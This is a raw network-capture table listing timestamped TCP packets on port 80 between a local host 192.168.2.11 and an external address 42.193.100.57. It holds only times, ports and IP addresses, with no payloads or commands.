Nov 20, 2024 09:14:53.454519987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454524994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454536915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454546928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454557896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454575062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454586029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454605103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454622030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454628944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454641104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454669952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454670906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454684973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454685926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454701900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454720974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454730034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454735041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454761982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454766035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454771042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454818010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454834938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454854012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454863071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454873085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454886913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454891920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454895973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454904079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454911947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454919100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454967022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454976082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454983950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455024004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455039024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455054998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455068111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455070019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455077887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455085993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455111027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455116034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455132961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455133915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455149889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455158949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455168009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455169916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455184937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455192089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455203056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455224037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455226898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455239058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455255032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455279112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455302954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455302954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455329895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455343962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455374956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455389977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455394983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455418110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455441952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455463886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455545902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455560923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455574989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455590010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.455612898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.455635071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622330904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622347116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622363091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622402906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622504950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622520924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622559071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622617960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622684002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622695923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622708082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622728109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622740030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622767925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622767925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622803926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622832060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622849941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622860909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622878075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622889042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622891903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622900963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622917891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622945070 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.622982025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.622993946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623004913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623013973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623142958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623147011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623159885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623171091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623183966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623218060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623245955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623292923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623306036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623323917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623334885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623390913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623440027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623451948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623462915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623473883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623485088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623493910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623524904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623578072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623589039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623661995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623773098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623785019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623817921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623830080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623832941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623842001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623864889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623909950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623909950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.623955011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623965979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623976946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623984098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.623995066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624007940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624018908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624021053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624032021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624052048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624114037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624283075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624294996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624305010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624325037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624335051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624345064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624356985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624357939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624368906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624403954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624430895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624437094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624445915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624459982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624466896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624474049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624486923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624516010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624542952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624598980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624665976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624778032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624790907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624806881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624829054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624852896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624852896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624866962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624926090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624927044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624943018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624962091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624969959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624980927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.624982119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.624993086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625003099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625014067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625016928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625025988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625053883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625076056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625114918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625125885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625137091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625149965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625165939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625188112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625211954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625276089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625288010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625333071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625333071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625368118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625401974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625412941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625416994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625425100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625436068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625447035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625452995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625457048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625468969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625479937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625487089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625507116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625530958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625720024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625731945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625768900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625787973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625884056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625895977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625906944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625917912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625927925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625951052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625955105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.625962973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625974894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.625993013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626012087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626012087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626035929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626046896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626064062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626074076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626094103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626096010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626107931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626108885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626121998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626169920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626169920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626197100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626223087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626249075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626259089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626380920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626394033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626405954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626424074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626441956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.626589060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.626638889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707174063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707186937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707199097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707205057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707222939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707233906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707245111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707254887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707267046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707268000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707281113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707297087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707308054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707340956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707340956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707362890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707367897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707377911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707392931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707410097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707416058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707427025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707427025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707441092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707451105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707469940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707483053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707494974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707503080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707504034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707519054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707535982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707539082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707547903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707560062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707560062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707571983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707590103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707598925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707617998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707622051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707634926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707637072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707645893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707657099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707668066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707669020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707680941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707688093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707700968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707712889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707720041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707735062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707765102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707767963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707779884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707791090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707802057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707803965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707814932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707825899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707856894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707904100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707915068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707926035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707937002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707947969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707957029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707957983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707972050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.707977057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.707994938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.708015919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.708040953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.708054066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.708065987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.708076954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.708087921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.708098888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.708111048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.708147049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.878915071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.878998995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879009008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879035950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.879064083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.879080057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879091024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879122019 CET	80	49701	42.193.100.57	192.168.2.11
